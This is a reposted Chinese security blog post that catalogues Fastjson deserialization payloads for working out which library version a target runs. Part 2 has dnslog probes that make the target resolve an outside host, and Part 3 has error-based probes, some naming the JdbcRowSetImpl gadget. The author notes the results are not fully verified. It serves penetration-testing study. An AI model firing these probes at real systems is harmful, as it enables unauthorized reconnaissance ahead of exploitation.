精选3:Fastjson反序列化漏洞区分版本号的方法大集合
原文链接: https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247487676&idx=1&sn=9f81c26d7c28f870920d7b4a352a8d8d
精选3:Fastjson反序列化漏洞区分版本号的方法大集合
abc123info 希潭实验室 2025-07-22 00:33
Part1 前言
大家好,我是ABC_123
。欢迎大家关注公众号”希水涵精选录”。
“希潭实验室”是ABC_123运营的第一个公众号,只发ABC_123本人的原创技术文章;
而
“希水涵精选录
“
是ABC_123运营的第二个公众号,
专注于转载精心筛选的高质量技术文章
。
ABC_123会从海量的技术文章中摘出精品,
把真正有价值、有干货的内容推荐给大家
,同时也欢迎大家积极投稿给我,
一起把好文章分享给更多人!
转载声明:
此篇文章的原创作者是f0ng,在此感谢。作者的公众号如下:
每次测试遇到fastjson无法定位版本,部分文章里的payload也没有准确的版本范围,抽空对payload做了个测试,这里记录下
使用常见的payload对fastjson版本进行测试,方便遇到fastjson进行较小范围的版本判断。本篇文章记录下常见的payload对于一些版本的判断测试。
Part2 通过dnslog判断版本
测试的一切payload均采用fastjson的默认配置,本次测试只用到了
com.alibaba.fastjson.JSON.parse()
函数。
测试语句1:【fastjson>=1.2.37】
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://§1§.{{URL}}"}}""}
实验结论:可用范围1.2.37-1.2.83,即fastjson版本>=1.2.37;不可用版本1.2.1-1.2.36。
测试语句2:
【fastjson>=1.2.37】
{{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}:0
实验结论:
可用范围
1.2.37
–
1.2.83
,即fastjson版本>=1.2.37;不可用版本1.2.1-1.2.36。
测试语句3:【fastjson>=1.2.9】
Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}]
实验结论:
可用范围
1.2.9
–
1.2.83
,即fastjson版本>=1.2.9;不可用版本1.2.1-1.2.8。
测试语句4:【fastjson>=1.2.9】
Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}
实验结论:
可用范围
1.2.9
–
1.2.83
,即fastjson版本>=1.2.9;不可用版本1.2.1-1.2.8。
测试语句5:【1.2.9<=fastjson<=1.2.47】
{"name":{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}}
实验结论:
可用
范围
1.2.47
以下,
1.2.9
以上,即1.2.9<=fastjson版本<=1.2.47;不可用版本1.2.83、1.2.66-1.2.80、1.2.48-1.2.62、1.2.1
-1.2.8。
测试语句6:【fastjson>=1.2.9】
[{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]
实验结论:
可用范围
1.2.9
以上,即fastjson版本>=1.2.9,不可用版本1.2.1-1.2.8。
测试语句7:【1.2.37<=fastjson<=1.2.68】
{"a":{"@type":"java.lang.AutoCloseable","@type":"com.alibaba.fastjson.JSONReader","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://§1§.{{URL}}"}}}
实验结论:
可用范围
1.2.68
以下,
1.2.37
以上,即1.2.37<=fastjson版本<=1.2.68;不可用版本1.2.83、1.2.69-1.2.80、1.2.1-1.2.36。
测试语句8:【fastjson>=1.2.9以及fastjson=1.2.83】
[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.80.{{URL}}"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.83.{{URL}}"}}}]
实验结论:
带有83的dnslog记录只会在
fastjson 1.2.83
中出现。
带有80的dnslog记录,可用范围1.2.9以上,不可用版本1.2.1-1.2.8。
测试语句9:【1.2.9<=fastjson<=1.2.68】
[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "§1§.{{URL}}"}}]
实验结论:
可用范围
1.2.9
以上,
1.2.68
以下,即1.2.9<=fastjson版本<=1.2.68;不可用版本1.2.83、1.2.69-1.2.80、1.2.1-1.2.8。
测试语句10:【1.2.9<=fastjson<=1.2.47】
{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}
实验结论:
可用范围
1.2.9
以上,
1.2.47
以下,即1.2.9<=fastjson版本<=1.2.47;不可用版本1.2.83、1.2.66-1.2.80、1.2.48-1.2.62、1.2.1-1.2.8。
测试语句11:【fastjson>=1.2.9】
单独的两条:
{"@type":"java.net.Inet4Address","val":"§1§.{{URL}}"}
{"@type":"java.net.Inet6Address","val":"§1§.{{URL}}"}
实验结论:
可用范围
1.2.9
以上,即fastjson版本>=1.2.9;不可用版本1.2.1-1.2.8。
测试语句12:【fastjson>=1.2.9】
{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}
实验结论:
可用范围
1.2.9
以上,即fastjson版本>=1.2.9;不可用版本1.2.1-1.2.8。
测试语句13:【1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47】
[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]
实验结论:
可用范围
1.2.9
以上,
1.2.24
以下或者
1.2.40
以上,
1.2.47
以下,即
1.2.9<=fastjson版本<=1.2.24
或者
1.2.40<=fastjson版本<=1.2.47;不可用版本1.2.83、1.2.66-1.2.80、1.2.48-1.2.62、1.2.25-1.2.39、1.2.1-1.2.8。
Part3 通过报错判断版本
测试语句1:【fastjson<=1.2.24以及fastjson=1.2.83】
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}
实验结论:
在fastjson<=1.2.24以及fastjson=1.2.83的时候不会报错,其余均报错。
测试语句2:【fastjson<=1.2.68】
{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}
实验结论:
在fastjson<=1.2.68的时候不会报错,其余均报错。
测试语句3:【1.2.9<=fastjson<=1.2.47】
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
实验结论:
在1.2.9<=fastjson<=1.2.47的时候不会报错,其余均报错。
测试语句4:【fastjson<=1.2.47】
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}
实验结论:
在fastjson<=1.2.47的时候不会报错,其余均报错。
Part4 总结
-
关于fastjson的版本确定一直是从其他师傅的文章、工具里来看到的,通过本地靶场搭建实操与文章里的有些结论还是有一定出入的,测试并非全面,也并非完全正确,如果有错误的,还请师傅们斧正。
-
测试环境的搭建也是灵光一现,希望可以作为案例给其他师傅进行组件版本测试中进行参考。
希水涵精选录是ABC_123运营的第二个公众号,专注于转载精心筛选的优质技术文章,同时也欢迎大家积极投稿。
Contact me: 2332887682#qq.comOR 0day123abc#gmail.com
(replace # with @)